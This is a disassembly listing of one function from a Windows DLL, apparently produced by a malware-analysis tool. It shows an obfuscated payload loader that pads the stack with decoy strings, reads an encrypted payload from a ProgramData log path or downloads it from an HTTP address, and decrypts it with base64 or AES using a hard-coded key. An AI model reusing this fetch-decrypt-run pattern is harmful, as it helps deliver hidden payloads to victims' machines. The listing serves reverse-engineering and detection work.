Function at 0x18000c840
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rsi
push rdi
mov eax, 0x1568
call fcn.180014f70
sub rsp, rax
mov rax, qword [0x180024040]
xor rax, rsp
mov qword [rsp + 0x1550], rax
mov byte [rsp + 0x98], 0
lea rax, [rsp + 0x9a0]
lea rcx, str.INZRgkMuzpTEVQAchiWFSafCeGyJrBbjKYLHPDlUxvmtqXdns
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 6
mov word [rsp + 0x24c], ax
mov dword [rsp + 0x344], 8
mov byte [rsp + 0x99], 0x58
mov qword [rsp + 0x3d8], 0
mov qword [rsp + 0x3e0], 5
mov eax, 1
mov word [rsp + 0x250], ax
mov qword [rsp + 0x3e8], 8
mov dword [rsp + 0x348], 0
mov qword [rsp + 0x3f0], 0
lea rax, [rsp + 0x9d8]
lea rcx, str.fcBwJZOpdDGCQMrEYIPgykAHueKmXshqLNiSaWVFjvRxUzlTo
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 4
mov word [rsp + 0x254], ax
mov eax, 3
mov word [rsp + 0xa0], ax
mov byte [rsp + 0x9a], 0x6f
mov byte [rsp + 0x2c], 0
lea rax, [rsp + 0xa10]
lea rcx, str.vSxmhdYFzUHAqKapnRCiJINMuLsGgfOTXtWwkeErcoDZQlbVy
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 6
mov word [rsp + 0xa4], ax
mov byte [rsp + 0x2d], 0
mov qword [rsp + 0x3f8], 0
mov dword [rsp + 0x270], 4
mov qword [rsp + 0x400], 8
mov eax, 9
mov word [rsp + 0xa8], ax
mov byte [rsp + 0x2e], 0x68
call fcn.18000b500
movzx eax, al
test eax, eax
jne 0x18000c9aa
mov eax, 0xffffffff
jmp 0x18000e536
mov byte [rsp + 0x2f], 0x50
mov byte [rsp + 0x30], 0
xor eax, eax
mov word [rsp + 0xac], ax
lea rax, [rsp + 0xa48]
lea rcx, str.WJdfnrVXkUhoquzsPCpxvTQKcimbEtGaAeFHOLjSZDwygMBNR
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x274], 7
mov qword [rsp + 0x408], 0
mov eax, 5
mov word [rsp + 0xb0], ax
mov qword [rsp + 0x410], 4
mov qword [rsp + 0x418], 0
mov dword [rsp + 0x278], 9
mov byte [rsp + 0x31], 0
lea rax, [rsp + 0xa80]
lea rcx, str.PUZrSITEgbJRKeDkAiHFcBWYwvluxspjhnVCtXqQGyzOfmoMN
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x420], 0
mov byte [rsp + 0x32], 0x6b
mov eax, 6
mov word [rsp + 0xb4], ax
mov eax, 6
mov word [rsp + 0xb8], ax
lea rax, [rsp + 0xab8]
lea rcx, str.vUbrLVQdRnTBYoPDpEIMKhgzNfwSkAjlZtCimeXJsyWcuxaHq
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 3
mov word [rsp + 0xbc], ax
mov qword [rsp + 0x428], 0
mov byte [rsp + 0x33], 0
mov dword [rsp + 0x27c], 0
mov byte [rsp + 0x34], 0x43
mov qword [rsp + 0x430], 3
mov eax, 6
mov word [rsp + 0xc0], ax
mov byte [rsp + 0x35], 0
mov eax, 6
mov word [rsp + 0xc4], ax
mov qword [rsp + 0x438], 0
lea rax, [rsp + 0xaf0]
lea rcx, str.wqWDCIhHpmTYdSbAoLXlEsujcJZMFUKOQxRkGzaNBvPrtegfy
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x440], 8
mov byte [rsp + 0x36], 0x45
mov dword [rsp + 0x280], 3
mov eax, 6
mov word [rsp + 0xc8], ax
mov dword [rsp + 0x284], 6
lea rax, [rsp + 0xb28]
lea rcx, str.brxCuvkYsKeEGRHpLBXnIMZWwdqSDfNFQctiaOgyUAhzVmPlT
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x37], 0x43
mov byte [rsp + 0x38], 0
mov eax, 5
mov word [rsp + 0xcc], ax
mov qword [rsp + 0x448], 8
mov eax, 3
mov word [rsp + 0xd0], ax
mov qword [rsp + 0x450], 0
mov qword [rsp + 0x458], 7
mov qword [rsp + 0x460], 0
mov byte [rsp + 0x39], 0
mov byte [rsp + 0x3a], 0x41
mov dword [rsp + 0x288], 1
mov eax, 9
mov word [rsp + 0xd4], ax
lea rax, [rsp + 0xb60]
lea rcx, str.THvDUQClbPAKeJMmnXRLztdjahiFpZxoyVYwgNEIBcrkWSfuG
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 2
mov word [rsp + 0xd8], ax
mov dword [rsp + 0x28c], 8
mov eax, 3
mov word [rsp + 0xdc], ax
mov qword [rsp + 0x468], 5
mov qword [rsp + 0x470], 0
lea rax, [rsp + 0xb98]
lea rcx, str.GwvFrhqxmlgVoXaZCJekASbUuDNHzsQpYfOTLKjnWIRtciyME
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 7
mov word [rsp + 0xe0], ax
mov byte [rsp + 0x3b], 0
mov byte [rsp + 0x3c], 0x78
lea rax, [rsp + 0xbd0]
lea rcx, str.XKzwsvSOlcxgDqaIibfmdteoJMGyWrknQFhPZuAETCYRNULpH
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x478], 5
mov eax, 7
mov word [rsp + 0xe4], ax
mov eax, 1
mov word [rsp + 0xe8], ax
mov byte [rsp + 0x3d], 0
mov qword [rsp + 0x480], 0
mov byte [rsp + 0x3e], 0x6a
mov dword [rsp + 0x290], 4
mov dword [rsp + 0x294], 5
mov qword [rsp + 0x488], 0
xor eax, eax
mov word [rsp + 0xec], ax
mov eax, 2
mov word [rsp + 0xf0], ax
lea rax, [rsp + 0xc08]
lea rcx, str.KyqsjflNSZrVApQhiDgkWbLHXJMFoteOPTRCYauGznvBmxUIE
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x3f], 0x6c
mov byte [rsp + 0x40], 0
mov qword [rsp + 0x490], 0
mov qword [rsp + 0x498], 0
mov eax, 9
mov word [rsp + 0xf4], ax
mov eax, 7
mov word [rsp + 0xf8], ax
lea rax, [rsp + 0xc40]
lea rcx, str.HKWgLVEQBOukARXmotDPqsyeSZbzIdUnvhJplTcFfNxjiwCrY
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x41], 0x77
mov byte [rsp + 0x42], 0
mov dword [rsp + 0x298], 6
mov qword [rsp + 0x4a0], 1
mov eax, 1
mov word [rsp + 0xfc], ax
mov byte [rsp + 0x43], 0x4a
mov dword [rsp + 0x29c], 6
mov byte [rsp + 0x44], 0
mov qword [rsp + 0x4a8], 0
lea rax, [rsp + 0xc78]
lea rcx, str.FahMToJqYblELSKVwrOykzUmfgZieWGsCNvHxntPXpBRujQDc
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 5
mov word [rsp + 0x100], ax
mov qword [rsp + 0x4b0], 2
mov dword [rsp + 0x9c], 0
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x28], 0
mov edx, 0x18
lea rcx, [rsp + 0x14c8]
call fcn.180003100
mov byte [rsp + 0x20], 0x30
lea rax, [rsp + 0x21]
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x838]
call fcn.18000e630
lea rcx, [rsp + 0x750]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x45]
call fcn.180007b10
mov r8, rax
lea rdx, [rsp + 0x750]
lea rcx, [rsp + 0x14c8]
call fcn.18000fb90
nop
mov byte [rsp + 0x46], 0x57
mov eax, 8
mov word [rsp + 0x104], ax
mov eax, 8
mov word [rsp + 0x108], ax
mov dword [rsp + 0x2a0], 1
mov qword [rsp + 0x4b8], 0
mov byte [rsp + 0x47], 0
mov qword [rsp + 0x4c0], 6
lea rax, [rsp + 0xcb0]
lea rcx, str.xtacOWUvVufNAkMSqPFpjhnCDBKZerlbHwdRGmLozXsgTQEYi
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x4c8], 0
xor eax, eax
mov word [rsp + 0x10c], ax
lea rax, [rsp + 0xce8]
lea rcx, str.WhEgkAfnBsrNJLSHTuwRjFQczyPCiMIxpXOoteYUKZGvaVlmd
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x2a4], 1
mov byte [rsp + 0x48], 0x41
mov qword [rsp + 0x4d0], 8
mov byte [rsp + 0x49], 0
mov eax, 9
mov word [rsp + 0x110], ax
lea rax, [rsp + 0x14e0]
lea rcx, str.http:__192.168.10.30_log
mov rdi, rax
mov rsi, rcx
mov ecx, 0x19
rep movsb byte [rdi], byte [rsi]
mov eax, 4
mov word [rsp + 0x114], ax
lea rax, [rsp + 0xd20]
lea rcx, str.jNOodGUkuIcHlKDFWatXVEgnMszvxLCShTBwYiAmJeyfZPrqR
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x4d8], 9
mov byte [rsp + 0x4a], 0
mov byte [rsp + 0x4b], 0x4b
mov qword [rsp + 0x4e0], 0
mov dword [rsp + 0x2a8], 0
mov eax, 5
mov word [rsp + 0x118], ax
cmp dword [rsp + 0x9c], 0
jne 0x18000d7ca
lea rdx, str.Type:_load_From_File
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov word [rsp + 0x11c], ax
lea rax, [rsp + 0xd58]
lea rcx, str.BnpCEfIYbDzsxqVuldQRgFkNSJWTZHAyMaUjrGOeKvwmLohct
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x2ac], 3
mov qword [rsp + 0x4e8], 8
mov qword [rsp + 0x4f0], 0
mov byte [rsp + 0x4c], 0x74
xor eax, eax
mov word [rsp + 0x120], ax
mov byte [rsp + 0x4d], 0
cmp dword [rsp + 0x24], 0
jne 0x18000d222
lea rdx, str.load_from_file_base64_decrypt
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 7
mov word [rsp + 0x124], ax
mov byte [rsp + 0x4e], 0
mov qword [rsp + 0x4f8], 0
mov qword [rsp + 0x500], 0
mov eax, 2
mov word [rsp + 0x128], ax
mov byte [rsp + 0x4f], 0x6a
mov dword [rsp + 0x2b0], 6
lea rax, [rsp + 0xd90]
lea rcx, str.MfvPViGkwDApoUgTWQItFSaebNXHdycJsuLORCjzhqrKmEYln
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
lea rdx, [0x18001f9f0]
lea rcx, [rsp + 0x778]
call fcn.180007660
mov qword [rsp + 0x350], rax
mov rdx, qword [rsp + 0x350]
lea rcx, [rsp + 0x14c8]
call fcn.18000f970
lea rcx, [rsp + 0x778]
call fcn.18000f950
mov byte [rsp + 0x50], 0x6f
mov dword [rsp + 0x2b4], 5
mov qword [rsp + 0x508], 9
mov byte [rsp + 0x51], 0
mov eax, 2
mov word [rsp + 0x12c], ax
mov eax, 7
mov word [rsp + 0x130], ax
lea rax, [rsp + 0xdc8]
lea rcx, str.ptzQYZoKbWhUalSGLDwRkPgyFTsEOMricNJndAufCqeVvxmXB
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x510], 0
lea rcx, [rsp + 0x14c8]
call fcn.18000f860
test rax, rax
jne 0x18000d222
lea rdx, [0x18001fa4c]
lea rcx, [rsp + 0x790]
call fcn.180007660
mov qword [rsp + 0x358], rax
mov rdx, qword [rsp + 0x358]
lea rcx, [rsp + 0x14c8]
call fcn.18000f970
lea rcx, [rsp + 0x790]
call fcn.18000f950
mov dword [rsp + 0x2b8], 4
lea rax, [rsp + 0xe00]
lea rcx, str.PjdcIVEKeslhxuHaiTpLMQyRwYJkgrOvqAtBSDUbZzWXNmCfn
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x52], 0x70
mov eax, 6
mov word [rsp + 0x134], ax
mov qword [rsp + 0x518], 9
mov eax, 6
mov word [rsp + 0x138], ax
mov byte [rsp + 0x53], 0
mov qword [rsp + 0x520], 0
cmp dword [rsp + 0x24], 1
jne 0x18000d7ca
lea rdx, str.load_from_file_base64aes_decrypt
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 5
mov word [rsp + 0x13c], ax
mov eax, 8
mov word [rsp + 0x140], ax
lea rax, [rsp + 0xe38]
lea rcx, str.QnpRPslTUMXxiEgJOveadbfDGkrHWqSuVFoCZzLtjIKyhYBNA
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x2bc], 2
mov byte [rsp + 0x54], 0
mov qword [rsp + 0x528], 9
mov byte [rsp + 0x55], 0x6d
mov qword [rsp + 0x530], 0
cmp dword [rsp + 0x28], 0
jne 0x18000d52e
call fcn.180007bb0
mov qword [rsp + 0x260], rax
mov byte [rsp + 0x56], 0x4a
mov eax, 2
mov word [rsp + 0x144], ax
mov qword [rsp + 0x538], 4
mov byte [rsp + 0x57], 0
mov dword [rsp + 0x2c0], 9
xor eax, eax
mov word [rsp + 0x148], ax
lea rax, [rsp + 0xe70]
lea rcx, str.zlRvdwFakTtWIHeZNKfohBpJnSDGCYyrmqQcPsjibVgUAExLO
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x540], 0
lea rdx, [0x18001fb1c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
mov rdx, qword [rsp + 0x260]
mov rcx, rax
call fcn.180011a40
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x58], 0x57
mov dword [rsp + 0x2c4], 5
lea rax, [rsp + 0xea8]
lea rcx, str.plEhFaoRZkvQKxOqmbNHCrgndfJXBGWzTsPScAuDyUjIiewYV
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x59], 0
mov qword [rsp + 0x548], 0
mov eax, 9
mov word [rsp + 0x14c], ax
mov eax, 8
mov word [rsp + 0x150], ax
mov qword [rsp + 0x550], 0
mov r8, qword [rsp + 0x260]
lea rdx, [0x18001fb60]
lea rcx, [rsp + 0x7a8]
call fcn.180007410
mov qword [rsp + 0x360], rax
mov rdx, qword [rsp + 0x360]
lea rcx, [rsp + 0x14c8]
call fcn.18000f970
lea rcx, [rsp + 0x7a8]
call fcn.18000f950
lea rax, [rsp + 0xee0]
lea rcx, str.RLxemONKDJHcudliISVpWkGrzMgXYhqUAojCBnPwyQFtvaZEb
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x558], 3
mov qword [rsp + 0x560], 0
mov byte [rsp + 0x5a], 0
mov dword [rsp + 0x2c8], 7
mov byte [rsp + 0x5b], 0x61
mov eax, 4
mov word [rsp + 0x154], ax
mov eax, 3
mov word [rsp + 0x158], ax
lea rcx, [rsp + 0x14c8]
call fcn.18000f860
test rax, rax
jne 0x18000d529
mov r8, qword [rsp + 0x260]
lea rdx, [0x18001fbbc]
lea rcx, [rsp + 0x7c0]
call fcn.180007410
mov qword [rsp + 0x368], rax
mov rdx, qword [rsp + 0x368]
lea rcx, [rsp + 0x14c8]
call fcn.18000f970
lea rcx, [rsp + 0x7c0]
call fcn.18000f950
mov qword [rsp + 0x568], 8
mov eax, 3
mov word [rsp + 0x15c], ax
mov eax, 1
mov word [rsp + 0x160], ax
mov qword [rsp + 0x570], 0
mov byte [rsp + 0x5c], 0
mov byte [rsp + 0x5d], 0x55
mov dword [rsp + 0x2cc], 5
lea rax, [rsp + 0xf18]
lea rcx, str.uIbeJmqZtfUiAoVcgrKMBzFWCYLTSnXxNjspGDPdHyvkRalQw
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
jmp 0x18000d7ca
cmp dword [rsp + 0x28], 1
jne 0x18000d7ca
lea rax, [rsp + 0x1500]
lea rcx, [0x18001fbf4]
mov rdi, rax
mov rsi, rcx
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1505]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov qword [rsp + 0x578], 0
mov eax, 5
mov word [rsp + 0x164], ax
lea rax, [rsp + 0xf50]
lea rcx, str.gGlKOaFyxHoTAEpfsqZIiWnDUeLRBmJVtrNkvXYPjMdzCuchb
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x2d0], 5
mov byte [rsp + 0x5e], 0
mov eax, 7
mov word [rsp + 0x168], ax
mov qword [rsp + 0x580], 0
mov byte [rsp + 0x5f], 0x55
lea rdx, [0x18001fc34]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
lea rdx, [rsp + 0x1500]
mov rcx, rax
call fcn.180011a40
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 6
mov word [rsp + 0x16c], ax
lea rax, [rsp + 0xf88]
lea rcx, str.lcsafDHPhvQgOjLCndJBVAFWziNpkXqKMbwtyIRZExYrmUSeT
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x2d4], 9
mov byte [rsp + 0x60], 0x65
mov qword [rsp + 0x588], 3
mov eax, 8
mov word [rsp + 0x170], ax
mov qword [rsp + 0x590], 0
mov byte [rsp + 0x61], 0
lea r8, [rsp + 0x1500]
lea rdx, str.C:ProgramDataUSOSharedLogslog
lea rcx, [rsp + 0x7d8]
call fcn.180007410
mov qword [rsp + 0x370], rax
mov rdx, qword [rsp + 0x370]
lea rcx, [rsp + 0x14c8]
call fcn.18000f970
lea rcx, [rsp + 0x7d8]
call fcn.18000f950
mov qword [rsp + 0x598], 2
mov eax, 3
mov word [rsp + 0x174], ax
mov qword [rsp + 0x5a0], 0
mov eax, 1
mov word [rsp + 0x178], ax
mov byte [rsp + 0x62], 0x58
lea rax, [rsp + 0xfc0]
lea rcx, str.bZzHecGXDqvMEKydwISNYLganCJijrUlOxpBsVQRofhkuWtTm
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x2d8], 8
mov byte [rsp + 0x63], 0
lea rcx, [rsp + 0x14c8]
call fcn.18000f860
test rax, rax
jne 0x18000d7ca
lea r8, [rsp + 0x1500]
lea rdx, [0x18001fcd4]
lea rcx, [rsp + 0x7f0]
call fcn.180007410
mov qword [rsp + 0x378], rax
mov rdx, qword [rsp + 0x378]
lea rcx, [rsp + 0x14c8]
call fcn.18000f970
lea rcx, [rsp + 0x7f0]
call fcn.18000f950
mov eax, 9
mov word [rsp + 0x17c], ax
lea rax, [rsp + 0xff8]
lea rcx, str.tHykErAdnMCgKRicOQwvFUZxSPzLoDBlTmfJabupNVYqsXWGe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x2dc], 5
mov qword [rsp + 0x5a8], 2
mov eax, 5
mov word [rsp + 0x180], ax
mov byte [rsp + 0x64], 0x5a
mov byte [rsp + 0x65], 0
mov qword [rsp + 0x5b0], 0
cmp dword [rsp + 0x9c], 1
jne 0x18000de44
lea rdx, str.Type:_download_From_http
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0x1030]
lea rcx, str.DfvzEgjXbSUhAilkNYHrGspacnLewyWxuTJBImRFVdQMqPotO
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 0x57
mov qword [rsp + 0x5b8], 7
mov qword [rsp + 0x5c0], 0
mov eax, 4
mov word [rsp + 0x184], ax
mov eax, 3
mov word [rsp + 0x188], ax
mov dword [rsp + 0x2e0], 4
cmp dword [rsp + 0x24], 0
jne 0x18000d9be
lea rdx, str.download_from_http_base64_decrypt
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x2e4], 9
mov qword [rsp + 0x5c8], 0
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 0x4f
lea rax, [rsp + 0x1068]
lea rcx, str.uGDqHSLAaBnfNlpZUJbiXEhrQozwydjxVTOWFtCgPsMmKRIek
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 2
mov word [rsp + 0x18c], ax
mov eax, 4
mov word [rsp + 0x190], ax
mov qword [rsp + 0x5d0], 7
lea rax, [rsp + 0x8a0]
mov qword [rsp + 0x380], rax
lea rdx, [rsp + 0x14e0]
mov rcx, qword [rsp + 0x380]
call fcn.18000ffe0
mov qword [rsp + 0x388], rax
mov rdx, qword [rsp + 0x388]
lea rcx, [rsp + 0x808]
call fcn.180006eb0
mov qword [rsp + 0x390], rax
mov rdx, qword [rsp + 0x390]
lea rcx, [rsp + 0x14c8]
call fcn.18000f970
lea rcx, [rsp + 0x808]
call fcn.18000f950
mov byte [rsp + 0x6a], 0
mov byte [rsp + 0x6b], 0x4b
lea rax, [rsp + 0x10a0]
lea rcx, str.JjyhDAcIEtqBFlwsrHouLkivOQZnpxbUMGTCfXVWPemRSKdNa
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x5d8], 2
mov qword [rsp + 0x5e0], 0
mov eax, 1
mov word [rsp + 0x194], ax
mov eax, 6
mov word [rsp + 0x198], ax
mov dword [rsp + 0x2e8], 0
cmp dword [rsp + 0x24], 1
jne 0x18000de44
lea rdx, str.download_from_http_base64aes_decrypt
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x6c], 0x46
mov dword [rsp + 0x2ec], 5
lea rax, [rsp + 0x10d8]
lea rcx, str.LAGqTFrOthHnkNBzyKbsRxXmQglDvjIwpfoUiSWPcaueZdJCY
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 3
mov word [rsp + 0x19c], ax
mov qword [rsp + 0x5e8], 0
mov eax, 9
mov word [rsp + 0x1a0], ax
mov byte [rsp + 0x6d], 0
mov qword [rsp + 0x5f0], 0
cmp dword [rsp + 0x28], 0
jne 0x18000dc39
call fcn.180007bb0
mov qword [rsp + 0x268], rax
xor eax, eax
mov word [rsp + 0x1a4], ax
lea rax, [rsp + 0x1110]
lea rcx, str.XSeHaQTNPRjfEpzgbnlIVqAUZWskFODBidCYwcxouGLyJKMhv
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 7
mov word [rsp + 0x1a8], ax
mov qword [rsp + 0x5f8], 5
mov qword [rsp + 0x600], 0
mov byte [rsp + 0x6e], 0x4b
mov byte [rsp + 0x6f], 0
mov dword [rsp + 0x2f0], 3
lea rdx, [0x18001fe94]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
mov rdx, qword [rsp + 0x268]
mov rcx, rax
call fcn.180011a40
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov word [rsp + 0x1ac], ax
mov qword [rsp + 0x608], 5
mov byte [rsp + 0x70], 0
mov eax, 2
mov word [rsp + 0x1b0], ax
mov qword [rsp + 0x610], 0
mov byte [rsp + 0x71], 0x70
lea rax, [rsp + 0x1148]
lea rcx, str.VFGLfWDhNOwTZqKXUJvHlYodECunMayexPpzbBgSrijtAcRkm
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x2f4], 0
lea rax, [rsp + 0x860]
mov qword [rsp + 0x398], rax
lea rdx, [rsp + 0x14e0]
mov rcx, qword [rsp + 0x398]
call fcn.18000ffe0
mov qword [rsp + 0x3a0], rax
mov r8, qword [rsp + 0x268]
mov rdx, qword [rsp + 0x3a0]
lea rcx, [rsp + 0x760]
call fcn.180007070
mov qword [rsp + 0x3a8], rax
mov rdx, qword [rsp + 0x3a8]
lea rcx, [rsp + 0x14c8]
call fcn.18000f970
lea rcx, [rsp + 0x760]
call fcn.18000f950
mov eax, 5
mov word [rsp + 0x1b4], ax
mov qword [rsp + 0x618], 1
mov eax, 8
mov word [rsp + 0x1b8], ax
mov byte [rsp + 0x72], 0x76
mov dword [rsp + 0x2f8], 2
mov qword [rsp + 0x620], 0
mov byte [rsp + 0x73], 0
lea rax, [rsp + 0x1180]
lea rcx, str.FqeADpnzdIaOJBQwuobkPHvlihcfmrxXNjTZLMgECKYUyGtSW
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
jmp 0x18000de44
cmp dword [rsp + 0x28], 1
jne 0x18000de44
lea rax, [rsp + 0x1528]
lea rcx, str.nima
mov rdi, rax
mov rsi, rcx
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x152d]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
